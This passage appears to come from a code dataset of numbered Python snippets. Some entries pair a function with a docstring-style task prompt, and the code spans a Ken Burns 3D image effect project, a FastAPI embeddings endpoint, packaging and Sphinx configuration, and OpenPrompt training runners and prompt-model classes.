intTime = objPlayback['intTime'] fltTime = objPlayback['fltTime'][intTime] if objPlayback['strMode'] == 'automatic': objPlayback['intTime'] += 1 # end if str(fltTime) not in objPlayback['strCache']: npyKenburns = process_kenburns({ 'fltSteps': [ fltTime ], 'objFrom': objPlayback['objFrom'], 'objTo': objPlayback['objTo'], 'boolInpaint': False })[0] objPlayback['strCache'][str(fltTime)] = b'--frame\r\nContent-Type: image/jpeg\r\n\r\n' + cv2.imencode(ext='.jpg', img=npyKenburns, params=[ cv2.IMWRITE_JPEG_QUALITY, 80 ])[1].tobytes() + b'\r\n' # end yield objPlayback['strCache'][str(fltTime)] # end # end return flask.Response(response=generator(), mimetype='multipart/x-mixed-replace; boundary=frame')
null
17,335
import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import torch import torchvision import urllib import zipfile objPlayback = { 'strImage': None, 'npyImage': None, 'strMode': 'automatic', 'intTime': 0, 'fltTime': numpy.linspace(0.0, 1.0, 75).tolist() + list(reversed(numpy.linspace(0.0, 1.0, 75).tolist())), 'strCache': {}, 'objFrom': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 }, 'objTo': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 } } def get_result(): strTempdir = tempfile.gettempdir() + '/kenburns-' + format(time.time(), '.6f') + '-' + str(os.getpid()) + '-' + str.join('', [random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for intCount in range(8)]) os.makedirs(name=strTempdir + '/', exist_ok=False) npyKenburns = process_kenburns({ 'fltSteps': numpy.linspace(0.0, 1.0, 75).tolist(), 'objFrom': objPlayback['objFrom'], 'objTo': objPlayback['objTo'], 'boolInpaint': True }) moviepy.editor.ImageSequenceClip(sequence=[ npyFrame[:, :, ::-1] for npyFrame in npyKenburns + list(reversed(npyKenburns))[1:-1] ], fps=25).write_videofile(strTempdir + '/kenburns.mp4') objKenburns = io.BytesIO(open(strTempdir + '/kenburns.mp4', 'rb').read()) shutil.rmtree(strTempdir + '/') return flask.send_file(filename_or_fp=objKenburns, mimetype='video/mp4', as_attachment=True, attachment_filename='kenburns.mp4', cache_timeout=-1)
null
17,336
netSemantics = Semantics().cuda().eval() netDisparity = Disparity().cuda().eval() netDisparity.load_state_dict({ strKey.replace('module', 'net'): tenWeight for strKey, tenWeight in torch.hub.load_state_dict_from_url(url='http://content.sniklaus.com/kenburns/network-disparity.pytorch', file_name='kenburns-disparity').items() }) def disparity_estimation(tenImage): intWidth = tenImage.shape[3] intHeight = tenImage.shape[2] fltRatio = float(intWidth) / float(intHeight) intWidth = min(int(512 * fltRatio), 512) intHeight = min(int(512 / fltRatio), 512) tenImage = torch.nn.functional.interpolate(input=tenImage, size=(intHeight, intWidth), mode='bilinear', align_corners=False) return netDisparity(tenImage, netSemantics(tenImage))
null
17,337
netRefine = Refine().cuda().eval() netRefine.load_state_dict({ strKey.replace('module', 'net'): tenWeight for strKey, tenWeight in torch.hub.load_state_dict_from_url(url='http://content.sniklaus.com/kenburns/network-refinement.pytorch', file_name='kenburns-refinement').items() }) def disparity_refinement(tenImage, tenDisparity): return netRefine(tenImage, tenDisparity)
null
17,338
netMaskrcnn = torchvision.models.detection.maskrcnn_resnet50_fpn(pretrained=True).cuda().eval() def disparity_adjustment(tenImage, tenDisparity): assert(tenImage.shape[0] == 1) assert(tenDisparity.shape[0] == 1) boolUsed = {} tenMasks = [] objPredictions = netMaskrcnn([ tenImage[ 0, [ 2, 0, 1 ], :, : ] ])[0] for intMask in range(objPredictions['masks'].shape[0]): if intMask in boolUsed: continue elif objPredictions['scores'][intMask].item() < 0.7: continue elif objPredictions['labels'][intMask].item() not in [ 1, 3, 6, 7, 8, 9, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25 ]: continue # end boolUsed[intMask] = True tenMask = (objPredictions['masks'][(intMask + 0):(intMask + 1), :, :, :] > 0.5).float() if tenMask.sum().item() < 64: continue # end for intMerge in range(objPredictions['masks'].shape[0]): if intMerge in boolUsed: continue elif objPredictions['scores'][intMerge].item() < 0.7: continue elif objPredictions['labels'][intMerge].item() not in [ 2, 4, 27, 28, 31, 32, 33 ]: continue # end tenMerge = (objPredictions['masks'][(intMerge + 0):(intMerge + 1), :, :, :] > 0.5).float() if ((tenMask + tenMerge) > 1.0).sum().item() < 0.03 * tenMerge.sum().item(): continue # end boolUsed[intMerge] = True tenMask = (tenMask + tenMerge).clip(0.0, 1.0) # end tenMasks.append(tenMask) # end tenAdjusted = torch.nn.functional.interpolate(input=tenDisparity, size=(tenImage.shape[2], tenImage.shape[3]), mode='bilinear', align_corners=False) for tenAdjust in tenMasks: tenPlane = tenAdjusted * tenAdjust tenPlane = torch.nn.functional.max_pool2d(input=tenPlane.neg(), kernel_size=3, stride=1, padding=1).neg() tenPlane = torch.nn.functional.max_pool2d(input=tenPlane.neg(), kernel_size=3, stride=1, padding=1).neg() if tenPlane.sum().item() == 0: continue intLeft = (tenPlane.sum([2], True) > 0.0).flatten().nonzero()[0].item() intTop = (tenPlane.sum([3], True) > 0.0).flatten().nonzero()[0].item() intRight = (tenPlane.sum([2], True) > 0.0).flatten().nonzero()[-1].item() intBottom = (tenPlane.sum([3], True) > 0.0).flatten().nonzero()[-1].item() tenAdjusted = ((1.0 - tenAdjust) * tenAdjusted) + (tenAdjust * tenPlane[:, :, int(round(intTop + (0.97 * (intBottom - intTop)))):, :].max()) # end return torch.nn.functional.interpolate(input=tenAdjusted, size=(tenDisparity.shape[2], tenDisparity.shape[3]), mode='bilinear', align_corners=False)
null
17,339
netInpaint = Inpaint().cuda().eval() netInpaint.load_state_dict({ strKey.replace('module', 'net'): tenWeight for strKey, tenWeight in torch.hub.load_state_dict_from_url(url='http://content.sniklaus.com/kenburns/network-inpainting.pytorch', file_name='kenburns-inpainting').items() }) def pointcloud_inpainting(tenImage, tenDisparity, tenShift): return netInpaint(tenImage, tenDisparity, tenShift)
null
17,340
import logging import time from typing import Callable import uvicorn from fastapi import FastAPI, Request from routers.embeddings import router The provided code snippet includes necessary dependencies for implementing the `add_process_time_header` function. Write a Python function `async def add_process_time_header(request: Request, call_next: Callable)` to solve the following problem: All responses come with process time information Here is the function: async def add_process_time_header(request: Request, call_next: Callable): """All responses come with process time information""" start_time = time.time() response = await call_next(request) process_time = time.time() - start_time response.headers["X-Process-Time"] = str(process_time) return response
All responses come with process time information
17,341
import tensorflow_hub as hub from fastapi import APIRouter, Body from schemas.emebeddings import EmbeddingsRequest, EmbeddingsResponse EMBED = hub.load("https://tfhub.dev/google/universal-sentence-encoder-large/5") class EmbeddingsRequest(BaseModel): strings: List[str] class EmbeddingsResponse(EmbeddingsRequest): embeddings: List[List[float]] The provided code snippet includes necessary dependencies for implementing the `embed` function. Write a Python function `async def embed( payload: EmbeddingsRequest = Body( ..., example={"strings": ["test 1", "test 2", "foo", "bar"]} ) ) -> EmbeddingsResponse` to solve the following problem: Embeds a list of strings, returning a list of floats for every string input Here is the function: async def embed( payload: EmbeddingsRequest = Body( ..., example={"strings": ["test 1", "test 2", "foo", "bar"]} ) ) -> EmbeddingsResponse: """Embeds a list of strings, returning a list of floats for every string input""" embeddings = [i.numpy().tolist() for i in EMBED(payload.strings)] return EmbeddingsResponse(embeddings=embeddings, **payload.dict())
Embeds a list of strings, returning a list of floats for every string input
17,342
import setuptools import os import importlib requires = """ transformers>=4.10.0 sentencepiece==0.1.96 # scikit-learn>=0.24.2 tqdm>=4.62.2 tensorboardX nltk yacs dill datasets rouge==1.0.0 pyarrow scipy """ def get_requirements(): ret = [x for x in requires.split("\n") if len(x)>0] print("requirements:", ret) return ret
null
17,343
import sys import datetime import sphinx_rtd_theme import doctest import openprompt from openprompt import prompts rst_context = {'openprompt': openprompt} def setup(app): def skip(app, what, name, obj, skip, options): members = [ '__init__', '__repr__', '__weakref__', '__dict__', '__module__', ] return True if name in members else skip def rst_jinja_render(app, docname, source): src = source[0] rendered = app.builder.templates.render_string(src, rst_context) source[0] = rendered app.connect('autodoc-skip-member', skip) app.connect("source-read", rst_jinja_render)
null
17,344
import os import sys import argparse from openprompt.trainer import ClassificationRunner, GenerationRunner from openprompt.lm_bff_trainer import LMBFFClassificationRunner from openprompt.protoverb_trainer import ProtoVerbClassificationRunner from re import template from openprompt.pipeline_base import PromptForClassification, PromptForGeneration from openprompt.utils.reproduciblity import set_seed from openprompt import PromptDataLoader from openprompt.prompts import load_template, load_verbalizer, load_template_generator, load_verbalizer_generator from openprompt.data_utils import FewShotSampler from openprompt.utils.logging import config_experiment_dir, init_logger, logger from openprompt.config import get_config, save_config_to_yaml from openprompt.plms import load_plm_from_config from openprompt.data_utils import load_dataset from openprompt.utils.cuda import model_to_device def build_dataloader(dataset, template, tokenizer,tokenizer_wrapper_class, config, split): dataloader = PromptDataLoader( dataset = dataset, template = template, tokenizer = tokenizer, tokenizer_wrapper_class=tokenizer_wrapper_class, batch_size = config[split].batch_size, shuffle = config[split].shuffle_data, teacher_forcing = config[split].teacher_forcing if hasattr(config[split],'teacher_forcing') else None, predict_eos_token = True if config.task == "generation" else False, **config.dataloader ) return dataloader class ClassificationRunner(BaseRunner): r"""A runner for simple training without training tricks. Applying training tricks such as ensemble of template or verbalizer, or self-training can use other runner class. This class is specially implemented for classification. For generation task, though it can be integrated in this class via `task` option, we keep it as another class for simplicity. Args: model (:obj:`PromptForClassification`): One ``PromptForClassification`` object. train_dataloader (:obj:`PromptDataloader`, optional): The dataloader to bachify and process the training data. valid_dataloader (:obj:`PromptDataloader`, optionla): The dataloader to bachify and process the val data. test_dataloader (:obj:`PromptDataloader`, optional): The dataloader to bachify and process the test data. config (:obj:`CfgNode`): A configuration object. loss_function (:obj:`Callable`, optional): The loss function in the training process. """ def __init__(self, model: PromptForClassification, config: CfgNode = None, train_dataloader: Optional[PromptDataLoader] = None, valid_dataloader: Optional[PromptDataLoader] = None, test_dataloader: Optional[PromptDataLoader] = None, loss_function: Optional[Callable] = None, id2label: Optional[Dict] = None, ): super().__init__(model = model, config = config, train_dataloader = train_dataloader, valid_dataloader = valid_dataloader, test_dataloader = test_dataloader, ) self.loss_function = loss_function if loss_function else self.configure_loss_function() self.id2label = id2label self.label_path_sep = config.dataset.label_path_sep def configure_loss_function(self,): r"""config the loss function if it's not passed.""" if self.config.classification.loss_function == "cross_entropy": return torch.nn.CrossEntropyLoss() elif self.config.classification.loss_function == "nll_loss": return torch.nn.NLLLoss() else: raise NotImplementedError def inference_step(self, batch, batch_idx): label = batch.pop('label') logits = self.model(batch) pred = torch.argmax(logits, dim=-1) return pred.cpu().tolist(), label.cpu().tolist() def inference_epoch_end(self, split, outputs): preds = [] labels = [] for pred, label in outputs: preds.extend(pred) labels.extend(label) self.save_results(split, { 'preds': preds, 'labels': labels, }) metrics = OrderedDict() for metric_name in self.config.classification.metric: metric = classification_metrics(preds, labels, metric_name, id2label=self.id2label, label_path_sep=self.label_path_sep) metrics[metric_name] = metric return metrics def training_step(self, batch, batch_idx): logits = self.model(batch) loss = self.loss_function(logits, batch['label']) return loss def on_fit_start(self): """Some initialization works""" self.prompt_initialize() def prompt_initialize(self): verbalizer_config = self.config[self.config.verbalizer] template_config = self.config[self.config.template] if not hasattr(self.inner_model.verbalizer, "optimize_to_initialize" ) and \ not hasattr(self.inner_model.template, "optimize_to_initialize" ): return None if hasattr(verbalizer_config, "init_using_split"): using_split = verbalizer_config.init_using_split elif hasattr(template_config, "init_using_split"): using_split = template_config.init_using_split else: using_split = "valid" if using_split == "train": dataloader = self.train_dataloader elif using_split == "valid": dataloader = self.valid_dataloader else: raise NotImplementedError with torch.no_grad(): for batch in tqdm(dataloader, desc="Init_using_{}".format(using_split)): batch = batch.to("cuda:{}".format(self.config.environment.local_rank)).to_dict() logits = self.model(batch) if hasattr(self.inner_model.verbalizer, "optimize_to_initialize" ): self.inner_model.verbalizer.optimize_to_initialize() if hasattr(self.inner_model.template, "optimize_to_initialize" ): self.inner_model.template.optimize_to_initialize() self.wrap_model() class GenerationRunner(BaseRunner): r"""A runner for simple training without training tricks. Applying training tricks such as ensemble of template or verbalizer, or self-training can use other runner class. This class is specially implemented for generation. Args: model (:obj:`PromptForGeneration`): One ``PromptForGeneration`` object. train_dataloader (:obj:`PromptDataloader`, optional): The dataloader to bachify and process the training data. valid_dataloader (:obj:`PromptDataloader`, optionla): The dataloader to bachify and process the val data. test_dataloader (:obj:`PromptDataloader`, optional): The dataloader to bachify and process the test data. config (:obj:`CfgNode`): A configuration object. """ def __init__(self, model: PromptForGeneration, config: CfgNode = None, train_dataloader: Optional[PromptDataLoader] = None, valid_dataloader: Optional[PromptDataLoader] = None, test_dataloader: Optional[PromptDataLoader] = None, ): super().__init__(model=model, config=config, train_dataloader=train_dataloader, valid_dataloader=valid_dataloader, test_dataloader=test_dataloader, ) def inference_step(self, batch, batch_idx): target = batch['tgt_text'] # TODO pop? _, pred = self.model.generate(batch, **self.config.generation) return pred, target # these are already a cpu list def inference_epoch_end(self, split, outputs): preds = [] targets = [] for pred, target in outputs: preds.extend(pred) targets.extend(target) self.save_results(split, { 'preds': preds, 'targets': targets }) metrics = OrderedDict() for metric_name in self.config.generation.metric: metric = generation_metric(preds, targets, metric_name) metrics[metric_name] = metric return metrics def training_step(self, batch, batch_idx): loss = self.model(batch) return loss class LMBFFClassificationRunner: r""" This runner implements the LM-BFF training process in paper `Making Pre-trained Language Models Better Few-shot Learners(Gao et al. 2020) <https://arxiv.org/pdf/2012.15723.pdf>`_. Args: train_dataset (:obj:`List[InputExample]`): The dataset for training valid_dataset (:obj:`List[InputExample]`): The dataset for validation test_dataset (:obj:`List[InputExample]`): The dataset for test verbalizer (:obj:`Optional[Verbalizer]`): The manually designed verbalizer for template generation. Defaults to None. template (:obj:`Optional[Verbalizer]`): The manually designed template for verbalizer generation. Defaults to None. config (:obj:`CfgNode`): A configuration object """ def __init__(self, train_dataset: List[InputExample], valid_dataset: List[InputExample], test_dataset: List[InputExample], verbalizer: Optional[Verbalizer] = None, template: Optional[str] = None, config: CfgNode = None): self.train_dataset = train_dataset self.valid_dataset = valid_dataset self.test_dataset = test_dataset self.model, self.tokenizer, self.model_config, self.tokenizer_wrapper = load_plm_from_config(config) self.auto_t = config.classification.auto_t self.auto_v = config.classification.auto_v self.verbalizer = verbalizer self.template = template self.config = config self._check_param() def _check_param(self): if self.auto_t: if self.verbalizer is None: raise ValueError("no verbalizer for template generation provided!") if self.template is not None: warnings.warn("auto_t is set True, ignore the given template") elif self.auto_v: if self.template is None: raise ValueError("no template for verbalizer generation provided, or set auto_t=True to automatically generate one") if self.verbalizer is not None: warnings.warn("auto_v is set True, ignore the given verbalizer") else: warnings.warn("auto_t and auto_v are both False, the trainer will degenerate to a simple classification trainer") def _auto_t(self): logger.info("performing auto-t...") template_generate_model, template_generate_tokenizer, template_generate_model_config, template_tokenizer_wrapper = load_plm_from_config(self.config.template_generator) model = model_to_device(template_generate_model, self.config.environment) template_generator = load_template_generator(config=self.config, model = model, tokenizer=template_generate_tokenizer, tokenizer_wrapper = template_tokenizer_wrapper, verbalizer = self.verbalizer) template_texts = template_generator.generate(self.train_dataset) # List[str] template_generator.release_memory() del template_generator, model return template_texts def _auto_v(self, template): logger.info("performing auto-v...") model = copy.deepcopy(self.model) model = model_to_device(model, self.config.environment) verbalizer_generator = load_verbalizer_generator(config=self.config, model=model, tokenizer=self.tokenizer) dataloader = PromptDataLoader(self.train_dataset, template, self.tokenizer, self.tokenizer_wrapper, batch_size=self.config.test.batch_size) for data in dataloader: data = template.process_batch(data) if self.config.environment.num_gpus > 0: data = data.to("cuda:{}".format(self.config.environment.local_rank)) verbalizer_generator.register_buffer(data) label_words_list = verbalizer_generator.generate() # List[List[str]] verbalizer_generator.release_memory() del verbalizer_generator, model return label_words_list def _get_best_template_text(self, template_texts_candidates, verbalizer): best_metrics = 0.0 best_template_text = None for template_text in template_texts_candidates: template = ManualTemplateWithoutParse(self.tokenizer, template_text) train_dataloader = build_dataloader(self.train_dataset, template, self.tokenizer, self.tokenizer_wrapper, self.config, 'train') valid_dataloader = build_dataloader(self.valid_dataset, template, self.tokenizer, self.tokenizer_wrapper, self.config, 'dev') score = self._train_eval(template, verbalizer, train_dataloader, valid_dataloader) if score > best_metrics: best_metrics = score best_template_text = template_text logger.info('best template:' + str(best_template_text)) return best_template_text def _get_best_label_words(self, verbalizer_labelwords_candidates, template, verbalizer): current_verbalizer = copy.deepcopy(verbalizer) best_metrics = 0.0 best_label_words = None for label_words in verbalizer_labelwords_candidates: current_verbalizer.label_words = label_words train_dataloader = build_dataloader(self.train_dataset, template, self.tokenizer, self.tokenizer_wrapper, self.config, 'train') valid_dataloader = build_dataloader(self.valid_dataset, template, self.tokenizer, self.tokenizer_wrapper, self.config, 'dev') score = self._train_eval(template, current_verbalizer, train_dataloader, valid_dataloader) if score > best_metrics: best_metrics = score best_label_words = label_words logger.info('best label words:' + str(best_label_words)) return best_label_words def _train_eval(self, template, verbalizer, train_dataloader, valid_dataloader): model = PromptForClassification(copy.deepcopy(self.model), template, verbalizer) runner = ClassificationRunner(model, config=self.config, train_dataloader=train_dataloader, valid_dataloader=valid_dataloader) runner.clean = True best_score = runner.fit() return best_score def run(self): r""" Run LM-BFF. if both `auto_v` and `auto_v` are set to True in ``config``, automatic template generation will be performed first. """ best_template = self.template best_verbalizer = self.verbalizer if self.auto_t: template_texts = self._auto_t() best_template_text = self._get_best_template_text(template_texts, best_verbalizer) best_template = ManualTemplateWithoutParse(self.tokenizer, best_template_text) if self.auto_v: label_words_list = self._auto_v(best_template) best_label_words = self._get_best_label_words(label_words_list, best_template, best_verbalizer) best_verbalizer.label_words = best_label_words train_dataloader = build_dataloader(self.train_dataset, best_template, self.tokenizer, self.tokenizer_wrapper, self.config, 'train') valid_dataloader = build_dataloader(self.valid_dataset, best_template, self.tokenizer, self.tokenizer_wrapper, self.config, 'dev') test_dataloader = build_dataloader(self.test_dataset, best_template, self.tokenizer, self.tokenizer_wrapper, self.config, 'test') model = PromptForClassification(copy.deepcopy(self.model), best_template, best_verbalizer) runner = ClassificationRunner(model, config=self.config, train_dataloader=train_dataloader, valid_dataloader=valid_dataloader, test_dataloader=test_dataloader) runner.clean = False return runner.run() class ProtoVerbClassificationRunner(BaseRunner): r"""A runner for prototypical verbalizer This class is specially implemented for classification. Args: model (:obj:`PromptForClassification`): One ``PromptForClassification`` object. train_dataloader (:obj:`PromptDataloader`, optional): The dataloader to bachify and process the training data. valid_dataloader (:obj:`PromptDataloader`, optionla): The dataloader to bachify and process the val data. test_dataloader (:obj:`PromptDataloader`, optional): The dataloader to bachify and process the test data. config (:obj:`CfgNode`): A configuration object. loss_function (:obj:`Callable`, optional): The loss function in the training process. """ def __init__(self, model: PromptForClassification, config: CfgNode = None, train_dataloader: Optional[PromptDataLoader] = None, valid_dataloader: Optional[PromptDataLoader] = None, test_dataloader: Optional[PromptDataLoader] = None, loss_function: Optional[Callable] = None, id2label: Optional[Dict] = None, ): super().__init__(model = model, config = config, train_dataloader = train_dataloader, valid_dataloader = valid_dataloader, test_dataloader = test_dataloader, ) self.loss_function = loss_function if loss_function else self.configure_loss_function() self.id2label = id2label self.label_path_sep = config.dataset.label_path_sep def configure_loss_function(self,): r"""config the loss function if it's not passed.""" if self.config.classification.loss_function == "cross_entropy": return torch.nn.CrossEntropyLoss() elif self.config.classification.loss_function == "nll_loss": return torch.nn.NLLLoss() else: raise NotImplementedError def inference_step(self, batch, batch_idx): label = batch.pop('label') logits = self.model(batch) pred = torch.argmax(logits, dim=-1) return pred.cpu().tolist(), label.cpu().tolist() def inference_epoch_end(self, split, outputs): preds = [] labels = [] for pred, label in outputs: preds.extend(pred) labels.extend(label) self.save_results(split, { 'preds': preds, 'labels': labels, }) metrics = OrderedDict() for metric_name in self.config.classification.metric: metric = classification_metrics(preds, labels, metric_name, id2label=self.id2label, label_path_sep=self.label_path_sep) metrics[metric_name] = metric return metrics def training_step(self, batch, batch_idx): logits = self.model(batch) loss = self.loss_function(logits, batch['label']) return loss def prompt_initialize(self): verbalizer_config = self.config[self.config.verbalizer] template_config = self.config[self.config.template] if not hasattr(self.inner_model.verbalizer, "optimize_to_initialize" ) and \ not hasattr(self.inner_model.template, "optimize_to_initialize" ): return None if hasattr(verbalizer_config, "init_using_split"): using_split = verbalizer_config.init_using_split elif hasattr(template_config, "init_using_split"): using_split = template_config.init_using_split else: using_split = "valid" if using_split == "train": dataloader = self.train_dataloader elif using_split == "valid": dataloader = self.valid_dataloader else: raise NotImplementedError with torch.no_grad(): for batch in tqdm(dataloader, desc="Init_using_{}".format(using_split)): batch = batch.to("cuda:{}".format(self.config.environment.local_rank)).to_dict() logits = self.model(batch) if hasattr(self.inner_model.verbalizer, "optimize_to_initialize" ): self.inner_model.verbalizer.optimize_to_initialize() if hasattr(self.inner_model.template, "optimize_to_initialize" ): self.inner_model.template.optimize_to_initialize() def on_fit_start(self): """Some initialization works""" if self.config.train.train_verblizer != "post": self.inner_model.verbalizer.train_proto(self.model, self.train_dataloader, self.config.environment.local_rank) def fit(self, ckpt: Optional[str] = None): self.set_stop_criterion() self.configure_optimizers() if ckpt: if not self.load_checkpoint(ckpt): logger.warning("Train from scratch instead ...") if self.cur_epoch == 0: self.on_fit_start() for self.cur_epoch in range(self.cur_epoch, self.num_epochs): continue_training = self.training_epoch(self.cur_epoch) score = self.inference_epoch("validation") copy = None if self.best_score is None or ((score - self.best_score) >= 0) == self.config.checkpoint.higher_better: copy = 'best' self.best_score = score self.save_checkpoint('last', extra={"validation_metric": score}, copy = copy) if continue_training == -1: logger.info("Stop training by reaching maximum num_training_steps") break if self.config.train.train_verblizer == "alternate": self.inner_model.verbalizer.train_proto(self.model, self.train_dataloader, self.config.environment.local_rank) if self.config.train.train_verblizer == "post": self.inner_model.verbalizer.train_proto(self.model, self.train_dataloader, self.config.environment.local_rank) return self.best_score class PromptForClassification(nn.Module): r'''``PromptModel`` with a classification head on top. The classification head will map the logits in all position of the sequence (return value of a ``PromptModel``) into the logits of the labels, using a verbalizer. Args: plm (:obj:`PretrainedModel`): A pre-traiend model you decide to use for classification, e.g. BERT. template (:obj:`Template`): A ``Template`` object you use to wrap the input text for classification, e.g. ``ManualTemplate``. verbalizer (:obj:`Verbalizer`): A ``Verbalizer`` object you use to project the labels to label words for classification, e.g. ``ManualVerbalizer``. freeze_plm (:obj:`bool`): whether or not to freeze the pretrained language model plm_eval_mode (:obj:`bool`): this is a stronger freezing mode than freeze_plm, i.e. the dropout of the model is turned off. No matter whether the other part is set to train. ''' def __init__(self, plm: PreTrainedModel, template: Template, verbalizer: Verbalizer, freeze_plm: bool = False, plm_eval_mode: bool=False ): super().__init__() self.prompt_model = PromptModel(plm, template, freeze_plm, plm_eval_mode) self.verbalizer = verbalizer def plm(self): return self.prompt_model.plm def template(self): return self.prompt_model.template def device(self,): r"""Register the device parameter.""" return self.plm.device def extract_at_mask(self, outputs: torch.Tensor, batch: Union[Dict, InputFeatures]): r"""Get outputs at all <mask> token E.g., project the logits of shape (``batch_size``, ``max_seq_length``, ``vocab_size``) into logits of shape (if num_mask_token > 1) (``batch_size``, ``num_mask_token``, ``vocab_size``) or into logits of shape (if ``num_mask_token`` = 1) (``batch_size``, ``vocab_size``). Args: outputs (:obj:`torch.Tensor`): The original outputs (maybe process by verbalizer's `gather_outputs` before) etc. of the whole sequence. batch (:obj:`Union[Dict, InputFeatures]`): The original batch Returns: :obj:`torch.Tensor`: The extracted outputs of ``<mask>`` tokens. """ outputs = outputs[torch.where(batch['loss_ids']>0)] outputs = outputs.view(batch['loss_ids'].shape[0], -1, outputs.shape[1]) if outputs.shape[1] == 1: outputs = outputs.view(outputs.shape[0], outputs.shape[2]) return outputs def forward(self, batch: Union[Dict, InputFeatures]) -> torch.Tensor: r""" Get the logits of label words. Args: batch (:obj:`Union[Dict, InputFeatures]`): The original batch Returns: :obj:`torch.Tensor`: The logits of the label words (obtained by the current verbalizer). """ outputs = self.prompt_model(batch) outputs = self.verbalizer.gather_outputs(outputs) if isinstance(outputs, tuple): outputs_at_mask = [self.extract_at_mask(output, batch) for output in outputs] else: outputs_at_mask = self.extract_at_mask(outputs, batch) label_words_logits = self.verbalizer.process_outputs(outputs_at_mask, batch=batch) return label_words_logits def predict(self): pass def forward_without_verbalize(self, batch: Union[Dict, InputFeatures]) -> torch.Tensor: outputs = self.prompt_model(batch) outputs = self.verbalizer.gather_outputs(outputs) outputs_at_mask = self.extract_at_mask(outputs, batch) return outputs_at_mask def tokenizer(self): r'''Utility property, to get the tokenizer more easily. ''' return self.verbalizer.tokenizer ## We comment this code since it conflict with [OpenDelta](https://github.com/thunlp/OpenDelta) # def state_dict(self, *args, **kwargs): # """ Save the model using template, plm and verbalizer's save methods.""" # _state_dict = {} # if not self.prompt_model.freeze_plm: # _state_dict['plm'] = self.plm.state_dict(*args, **kwargs) # _state_dict['template'] = self.template.state_dict(*args, **kwargs) # _state_dict['verbalizer'] = self.verbalizer.state_dict(*args, **kwargs) # return _state_dict # def load_state_dict(self, state_dict, *args, **kwargs): # """ Load the model using template, plm and verbalizer's load methods.""" # if 'plm' in state_dict and not self.prompt_model.freeze_plm: # self.plm.load_state_dict(state_dict['plm'], *args, **kwargs) # self.template.load_state_dict(state_dict['template'], *args, **kwargs) # self.verbalizer.load_state_dict(state_dict['verbalizer'], *args, **kwargs) def parallelize(self, device_map=None): r"""Parallelize the model across device """ if hasattr(self.plm, "parallelize"): self.plm.parallelize(device_map) self.device_map = self.plm.device_map self.template.cuda() self.verbalizer.cuda() else: raise NotImplementedError("parallelize method was not implemented for this plm.") def deparallelize(self): r"""Deparallelize the model across device """ if hasattr(self.plm, "deparallelize"): self.plm.deparallelize() self.device_map = None self.template.cpu() self.verbalizer.cpu() else: raise NotImplementedError("parallelize method was not implemented for this plm.") class PromptForGeneration(nn.Module, GenerationMixin): r'''``PromptModel`` with generation loss calculation and generation utils integrated. Args: plm (:obj:`PretrainedModel`): A pre-traiend model you decide to use for generation, e.g. GPT. template (:obj:`Template`): A ``Template`` object you use to wrap the input text for classification, e.g. ``PrefixTuningTemplate``. tokenizer (:obj:`Tokenizer`): A ``Tokenizer`` of the current model. gen_config (:obj:`CfgNode`): The generation configs to pass into `GenerationMixin.generate <https://huggingface.co/transformers/_modules/transformers/generation_utils.html#GenerationMixin.generate>`_ freeze_plm (:obj:`bool`): whether or not to freeze the pretrained language model plm_eval_mode (:obj:`bool`): this is a stronger freezing mode than freeze_plm, i.e. the dropout of the model is turned off. No matter whether the other part is set to train. ''' def __init__(self, plm: PreTrainedModel, template: Template, freeze_plm: bool = False, plm_eval_mode: bool = False, gen_config: Optional[CfgNode] = None, tokenizer: Optional[PreTrainedTokenizer] = None, ): super().__init__() self.freeze_plm = freeze_plm if tokenizer is None: assert template.tokenizer is not None, "Tokenizer can't be set from input args or template" self.tokenizer = template.tokenizer else: self.tokenizer = tokenizer self.prompt_model = PromptModel(plm, template, freeze_plm, plm_eval_mode) self.loss_fct = nn.CrossEntropyLoss(reduction='none') self.config = plm.config if gen_config: for key in gen_config: setattr(self.config, key, gen_config[key]) self.in_generation_function = False self.main_input_name = self.prompt_model.main_input_name # for transformers 4.17.0 and higher. def generation_config(self): return self.plm.generation_config def plm(self): return self.prompt_model.plm def template(self): return self.prompt_model.template def device(self): return self.plm.device def can_generate(self): if hasattr(self.prompt_model.plm, "can_generate"): return self.prompt_model.plm.can_generate else: raise AttributeError("the corresponding plm does not have `can_generate` attribute") def shift_logits_and_labels(self, logits, loss_ids, reference_ids): r""" Left shift the label, and make label of the positions that are not loss position to -100, which is the ignore index in pytorch's loss function. Args: logits (:obj:`torch.Tensor`): batch (:obj:`InputFeatures`): The input features of batchified data sequences. Returns: shift_logits (:obj:`torch.Tensor`): shift_input_ids (:obj:`List[int]`): """ shift_logits = logits[..., :-1, :].contiguous() shift_loss_ids = loss_ids[..., 1:].contiguous() shift_input_ids = reference_ids[..., 1:].contiguous() shift_input_ids = torch.where(shift_loss_ids>0, shift_input_ids, -100) return shift_logits, shift_input_ids def forward(self, *args, **kwargs): r"""In generation process, it will use the plm's forward function. This is because, in the first step we will directly call the process_batch function to generate initial input with the template, after that the all template have been processed into the past_key_value, then we can use the normal generation function. In learning process, the forward is linked to ``_forward`` functions. in which the loss will be calculated for all the positions in the same time. """ if self.in_generation_function: return self.plm.forward(*args, **kwargs) else: return self._forward(*args, **kwargs) def _forward(self, batch: Union[Dict, InputFeatures]) -> torch.Tensor: r""" This is the forward method of the training of generation in prompt-learning framework. Args: batch (:obj:`Union[Dict, InputFeatures]`): The input features of batchified data sequences. Returns: loss(:obj:torch.Tensor): The loss of the current generation procedure. """ if self.config.is_encoder_decoder: reference_ids = batch['decoder_input_ids'] else: reference_ids = batch['input_ids'] # in case in some template, these field is dropped outputs = self.prompt_model(batch) logits = outputs.logits logits, labels = self.shift_logits_and_labels(logits, batch['loss_ids'], reference_ids) batch_size, seq_len, vocab_size = logits.shape loss = self.loss_fct(logits.view(-1, logits.size(-1)), labels.view(-1)) loss = loss.view(batch_size, -1).sum(dim=-1) # TODO support more objectives loss = loss.mean() return loss def _validate_model_kwargs(self, model_kwargs: Dict[str, Any]): """skip model kwargs validation, as all arguments will be filtered before feeding into plm in PromptModel""" return def generate(self, batch: Union[Dict, InputFeatures], verbose: Optional[bool]=False, **generation_kwargs): r""" This function wraps the generate() methods in parent class ``GenerationMixin``. Forward uses the ``PretrainedModel``'s forward method. generation_kwargs include all the parameters that are passed in to ``transformers.generation_util.GenerationMixin.generate`` Args: batch 